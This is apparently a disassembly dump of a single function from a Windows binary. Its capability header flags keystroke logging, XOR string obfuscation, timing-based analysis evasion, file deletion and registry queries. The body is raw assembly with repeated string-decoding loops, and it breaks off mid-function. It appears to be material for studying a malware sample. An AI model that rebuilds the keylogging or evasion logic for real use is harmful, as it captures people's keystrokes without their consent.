Function at 0x1400719a0
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Create thread
Delete file
Encode data using xor
Log keystrokes via polling
Query or enumerate registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x1040
call fcn.1400e52b0
sub rsp, rax
movaps xmmword [rsp + 0x1030], xmm6
movaps xmmword [rsp + 0x1020], xmm7
movaps xmmword [rsp + 0x1010], xmm8
movaps xmmword [rsp + 0x1000], xmm9
movaps xmmword [rsp + 0xff0], xmm10
movaps xmmword [rsp + 0xfe0], xmm11
movaps xmmword [rsp + 0xfd0], xmm12
movaps xmmword [rsp + 0xfc0], xmm13
movaps xmmword [rsp + 0xfb0], xmm14
movaps xmmword [rsp + 0xfa0], xmm15
xor esi, esi
mov dword [rsp + 0xe0], esi
lea ecx, [rsi + 8]
call fcn.1400e54ac
test rax, rax
je 0x140071a41
lea rcx, [0x14004fe30]
mov qword [rax], rcx
jmp 0x140071a44
mov rax, rsi
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x198]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400408c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x190], rax
test rax, rax
je 0x140079914
mov qword [rsp + 0x170], rsi
cmp dword [rsp + 0x198], 0
je 0x140079b78
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x120], xmm0
lea rcx, [rsp + 0x120]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140079b78
xorps xmm0, xmm0
movaps xmmword [rsp + 0x2a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [0x1400f85c0]
movups xmmword [rsp + 0x1a0], xmm0
movzx eax, word [0x1400f85d0]
mov word [rsp + 0x1b0], ax
mov r14d, dword [reloc.WS2_32.dll_accept]
mov r13d, 4
lea ebx, [r13 + 0x1b]
cmp byte [0x1400f85d1], 0
je 0x140071cb0
mov r8d, esi
cmp r14d, 2
jl 0x140071c63
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, ebx
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x1a4]
mov edx, dword [rsp + 0xc0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140071b60
cmp r8d, 0x12
jge 0x140071cb0
movsxd rax, r8d
lea r9, [rsp + 0x1a0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140071c80
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x290], rax
lea rcx, [rsp + 0x1a0]
mov rdi, 0xffffffffffffffff
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140071cd2
mov qword [rsp + 0x298], rax
xor r8d, r8d
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x5c0]
call fcn.14003f2e0
nop
mov r15d, Ordinal_50
mov dword [rsp + 0x88], r15d
mov dword [rsp + 0xe0], r15d
lea rcx, [rsp + 0x5c0]
cmp qword [rsp + 0x5d8], 8
cmovae rcx, qword [rsp + 0x5c0]
mov r9d, 0xffffffff
lea r8d, [r15 - 0x2e]
lea rdx, [rsp + 0x800]
call fcn.1400e63e0
mov edx, eax
test eax, eax
jne 0x140071dad
mov eax, dword [rsp + 0x810]
test al, 1
mov ecx, 0x1ff
mov r8d, 0x16d
cmovne ecx, r8d
mov dword [rsp + 0x17c], ecx
bt eax, 0xa
jae 0x140071d99
mov ecx, dword [rsp + 0x814]
cmp ecx, 0xa000000c
jne 0x140071d86
mov eax, r13d
lea r12d, [r15 - 0x30]
jmp 0x140071ddf
cmp ecx, 0xa0000003
jne 0x140071d99
mov eax, 0xa
lea r12d, [rax - 9]
jmp 0x140071ddf
movzx eax, al
and eax, 0x10
or eax, 0x20
shr eax, 4
mov r12d, 1
jmp 0x140071ddf
mov dword [rsp + 0x17c], 0xffff
sub eax, 2
je 0x140071dd6
sub eax, 1
je 0x140071dd6
sub eax, 0x32
je 0x140071dd6
cmp eax, 0x46
je 0x140071dd6
mov eax, esi
mov r12d, 1
jmp 0x140071ddf
mov r12d, 1
mov eax, r12d
mov dword [rsp + 0x280], edx
lea rcx, [0x1404382a0]
mov qword [rsp + 0x288], rcx
movaps xmm0, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0x210], xmm0
test eax, eax
je 0x1400720f4
mov dword [rsp + 0x210], esi
mov qword [rsp + 0x218], rcx
cmp eax, 1
je 0x1400720fc
movups xmm0, xmmword [0x1400f85d8]
movups xmmword [rsp + 0x260], xmm0
movzx eax, word [0x1400f85e8]
mov word [rsp + 0x270], ax
cmp byte [0x1400f85e9], 0
je 0x140071ff0
mov r8d, esi
cmp r14d, 2
jl 0x140071fa3
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, ebx
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x264]
mov edx, dword [rsp + 0xc0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140071ea0
cmp r8d, 0x12
jge 0x140071ff0
movsxd rax, r8d
lea r9, [rsp + 0x260]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140071fc0
lea rax, [rsp + 0x260]
mov qword [rsp + 0x250], rax
lea rcx, [rsp + 0x260]
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140072010
mov qword [rsp + 0x258], rax
xor r8d, r8d
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x5e0]
call fcn.14003f2e0
nop
mov r15d, reloc.WS2_32.dll_WSAStartup
mov dword [rsp + 0x88], r15d
mov dword [rsp + 0xe0], r15d
lea rcx, [rsp + 0x5e0]
cmp qword [rsp + 0x5f8], 8
cmovae rcx, qword [rsp + 0x5e0]
mov r9d, 0xffffffff
lea r8d, [r15 - 0x70]
lea rdx, [rsp + 0x7e0]
call fcn.1400e63e0
mov edx, eax
test eax, eax
jne 0x1400720c0
mov ecx, dword [rsp + 0x7f0]
bt ecx, 0xa
jae 0x1400720b5
mov eax, dword [rsp + 0x7f4]
cmp eax, 0xa000000c
jne 0x1400720a7
mov ecx, r13d
jmp 0x1400720d9
cmp eax, 0xa0000003
jne 0x1400720b5
mov ecx, 0xa
jmp 0x1400720d9
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
jmp 0x1400720d9
sub eax, 2
je 0x1400720d6
sub eax, 1
je 0x1400720d6
sub eax, 0x32
je 0x1400720d6
cmp eax, 0x46
mov ecx, esi
jne 0x1400720d9
mov ecx, r12d
test edx, edx
je 0x1400720eb
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x140079926
cmp ecx, 3
jne 0x1400720fc
mov bl, 1
jmp 0x1400720fe
test edx, edx
jne 0x14007993b
xor bl, bl
test r15b, 2
je 0x140072126
and r15d, 0xfffffffd
mov dword [rsp + 0x88], r15d
mov dword [rsp + 0xe0], r15d
lea rcx, [rsp + 0x5e0]
call fcn.140060df0
nop
test r15b, 1
je 0x14007214d
and r15d, 0xfffffffe
mov dword [rsp + 0x88], r15d
mov dword [rsp + 0xe0], r15d
lea rcx, [rsp + 0x5c0]
call fcn.140060df0
test bl, bl
je 0x140072a38
movups xmm0, xmmword [0x1400f85f0]
movups xmmword [rsp + 0x470], xmm0
movsd xmm0, qword [0x1400f8600]
movsd qword [rsp + 0x480], xmm0
mov eax, dword [0x1400f8608]
mov dword [rsp + 0x488], eax
movzx eax, word [0x1400f860c]
mov word [rsp + 0x48c], ax
movzx eax, byte [0x1400f860e]
mov byte [rsp + 0x48e], al
mov r8d, esi
cmp r14d, 2
jl 0x140072303
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x474]
mov edx, dword [rsp + 0xc0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140072200
cmp r8d, 0x1f
jge 0x140072350
movsxd rax, r8d
lea r9, [rsp + 0x470]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140072320
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
mov r8d, r12d
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0xb20]
call fcn.14004d000
nop
mov qword [rsp + 0x670], rsi
lea rax, [rsp + 0xb20]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0xb20]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xb20]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const___ptr64]
mov qword [rsp + 0x228], rax
mov byte [rsp + 0x20], 0
mov r9b, 1
lea r8, [rsp + 0x638]
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0xda0]
call fcn.140048af0
nop
lea r8, [0x1404397c8]
xor edx, edx
mov rcx, rax
call fcn.14006c320
nop
lea rcx, [rsp + 0xde8]
call fcn.14004e9d0
mov rcx, qword [rsp + 0xdd8]
test rcx, rcx
je 0x14007241f
mov rax, qword [rcx]
lea rdx, [rsp + 0xda0]
cmp rcx, rdx
setne dl
call qword [rax + reloc.WLDAP32.dll_Ordinal_32]
mov qword [rsp + 0xdd8], rsi
lea rcx, [rsp + 0xb30]
call fcn.1400666f0
test rax, rax
jne 0x140072455
mov rax, qword [rsp + 0xb20]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xb20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movabs r13, 0xa82dfe93abab5299
mov qword [rsp + 0x88], r13
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x3a0], rax
movabs r14, 0xfa34280f7a71b4e
mov qword [rsp + 0x88], r14
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x3a8], rax
movabs r12, 0xa8488dfdcec83bf5
mov qword [rsp + 0x88], r12
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x760], rax
mov qword [rsp + 0x88], r14
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x768], rax
movdqa xmm0, xmmword [rsp + 0x3a0]
xorps xmm0, xmmword [rsp + 0x760]
movdqa xmmword [rsp + 0x3a0], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7a0], xmm0
mov qword [rsp + 0x7b0], rsi
mov qword [rsp + 0x7b8], rsi
lea rax, [rsp + 0x3a0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140072513
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x7a0]
call fcn.14003f150
lea rdx, [rsp + 0x7a0]
lea rcx, [0x1404397c8]
call fcn.14004f2d0
mov rbx, rax
cmp byte [rax], 3
jne 0x140079958
mov r8, qword [rax + 8]
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x140072563
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [0x14041fb00]
call fcn.1400656f0
lea rcx, [rsp + 0xb30]
call fcn.1400666f0
test rax, rax
jne 0x1400725aa
mov rax, qword [rsp + 0xb20]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xb20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rax, [rsp + 0xae0]
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0xae0]
call fcn.140052450
mov r15, rax
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x330], rax
lea rdx, [0x14041fb00]
lea rcx, [rsp + 0xa80]
call fcn.14004d7c0
mov rbx, rax
movups xmm0, xmmword [0x1400f8610]
movups xmmword [rsp + 0x420], xmm0
mov ecx, dword [0x1400f8620]
mov dword [rsp + 0x430], ecx
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400f8623], 0
je 0x1400727d0
mov r8d, esi
cmp r13d, 2
jl 0x140072783
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x424]
mov edx, dword [rsp + 0xc0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140072680
cmp r8d, 0x14
jge 0x1400727d0
movsxd rax, r8d
lea r9, [rsp + 0x420]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x1400727a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7c0], xmm0
mov qword [rsp + 0x7d0], rsi
mov qword [rsp + 0x7d8], rsi
lea rax, [rsp + 0x420]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400727f6
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x7c0]
call fcn.14003f150
nop
mov r8, r15
mov rdx, rbx
lea rcx, [rsp + 0x7c0]
call fcn.140065860
test al, al
je 0x14007285d
mov byte [reloc.WS2_32.dll_accept], 0
lea rcx, [rsp + 0xb20]
call fcn.14004fa30
nop
mov r15d, dword [rsp + 0xe0]
mov dword [rsp + 0x88], r15d
mov r13d, 4
jmp 0x140072a4c
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x80]
call fcn.14004f990
mov r9, rax
cmp byte [rax + 0x16], 0
je 0x140072a0d
cmp r13d, 2
jl 0x1400729d0
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
mov rcx, r9
mov edx, dword [rsp + 0xc0]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x1400728d0
cmp eax, 0x17
jge 0x140072a0d
movsxd r8, esi
add r8, r9
nop word [rax + rax]
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x35
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x17
jl 0x1400729e0
mov rdx, r9
lea rcx, [rsp + 0x1a0]
call fcn.14004d890
lea rcx, [rsp + 0x1a0]
call fcn.140060f00
call fcn.140051f60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
movabs r14, 0xfa34280f7a71b4e
movabs r12, 0xa8488dfdcec83bf5
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140074616
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x11c]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r15, rax
cmp dword [rsp + 0x11c], 1
jle 0x140075088
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140074eb8
cmp word [rdx], 0
je 0x140074eb8
lea rcx, [rsp + 0x8b0]
call fcn.1400500e0
cmp qword [rax + 0x18], 0x10
jb 0x140072aaf
mov rax, qword [rax]
lea rdx, [rsp + 0xe88]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
mov ebx, eax
lea rcx, [rsp + 0x8b0]
call fcn.14004e710
test ebx, ebx
je 0x140072ca8
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x80]
call fcn.14004fa10
mov r9, rax
cmp byte [rax + 0x17], 0
je 0x140072c7d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140072c4b
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
mov rcx, r9
mov edx, dword [rsp + 0xc0]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140072b50
jmp 0x140072c7d
mov r8, r9
nop
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x35
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x140072c50
mov rdx, r9
lea rcx, [rsp + 0x8b0]
call fcn.14004d890
lea rcx, [rsp + 0x8b0]
call fcn.140060f00
call fcn.140051f60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [r15 + 8]
lea rcx, [rsp + 0x8d0]
call fcn.1400500e0
nop
mov rcx, rax
call fcn.1400502a0
movzx ebx, al
lea rcx, [rsp + 0x8d0]
call fcn.14004e710
test bl, bl
jne 0x140072ea8
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x80]
call fcn.14004f6a0
mov r9, rax
cmp byte [rax + 0x17], bl
je 0x140072e7d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140072e4b
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
mov rcx, r9
mov edx, dword [rsp + 0xc0]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
